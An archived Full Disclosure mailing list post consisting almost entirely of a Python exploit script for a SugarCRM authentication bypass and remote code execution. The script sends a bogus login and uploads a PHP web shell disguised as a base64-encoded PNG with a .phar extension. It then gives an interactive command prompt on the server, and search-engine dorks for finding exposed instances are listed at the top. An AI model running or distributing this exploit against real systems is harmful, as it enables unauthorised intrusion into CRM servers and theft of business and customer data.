full-disclosure - [FD] SugarCRM 0-day Auth Bypass + RCE Exploit

Open Source and information security mailing list archives

Message-ID: <pcRT_JeHdtK-sL4vhxQa5s6iVZ7KKXUIvzCdKteZrW6xg7LRe72NoSwTSC-o5GqVOOFOvNWm6Hgoyok6wPIeGXdS6-6p4pBTB2nkF-d4uYQ=@proton.me>
Date: Wed, 28 Dec 2022 08:42:12 +0000
From: "sw33t.0day via Fulldisclosure" <fulldisclosure@...lists.org>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] SugarCRM 0-day Auth Bypass + RCE Exploit

#!/usr/bin/env python
#
# SugarCRM 0-day Auth Bypass + RCE Exploit
#
# Dorks:
# https://www.google.com/search?q=site:sugarondemand.com&filter=0
# https://www.google.com/search?q=intitle:"SugarCRM"+inurl:index.php
# https://www.shodan.io/search?query=http.title:"SugarCRM"
# https://search.censys.io/search?resource=hosts&q=services.http.response.html_title:"SugarCRM"
# https://search.censys.io/search?resource=hosts&q=services.http.response.headers.content_security_policy:"*.sugarcrm.com"

import base64, re, requests, sys, uuid

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 2:
	sys.exit("Usage: %s [URL]" % sys.argv[0])
	
print "[+] Sending authentication request"

url     = sys.argv[1] + "/index.php"
session = {"PHPSESSID": str(uuid.uuid4())}
params  = {"module": "Users", "action": "Authenticate", "user_name": 1, "user_password": 1}

requests.post(url, cookies=session, data=params, verify=False)

print "[+] Uploading PHP shell\n"

png_sh = "iVBORw0KGgoAAAANSUhEUgAAABkAAAAUCAMAAABPqWaPAAAAS1BMVEU8P3BocCBlY2hvICIjIyMjIyI7IHBhc3N0aHJ1KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjIl0pKTsgZWNobyAiIyMjIyMiOyA/PiD2GHg3AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAKklEQVQokWNgwA0YmZhZWNnYOTi5uHl4+fgFBIWERUTFxCXwaBkFQxQAADC+AS1MHloSAAAAAElFTkSuQmCC"
upload = {"file": ("sweet.phar", base64.b64decode(png_sh), "image/png")} # you can also try with other extensions like .php7 .php5 or .phtml
params = {"module": "EmailTemplates", "action": "AttachFiles"}

requests.post(url, cookies=session, data=params, files=upload, verify=False)

url = sys.argv[1] + "/cache/images/sweet.phar"

while True:
	cmd = raw_input("# ")
	res = requests.post(url, data={"c": base64.b64encode(cmd)}, verify=False)
	res = re.search("#####(.*)#####", res.text, re.DOTALL)
	if res:
		print res.group(1)
	else:
		sys.exit("\n[+] Failure!\n")
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives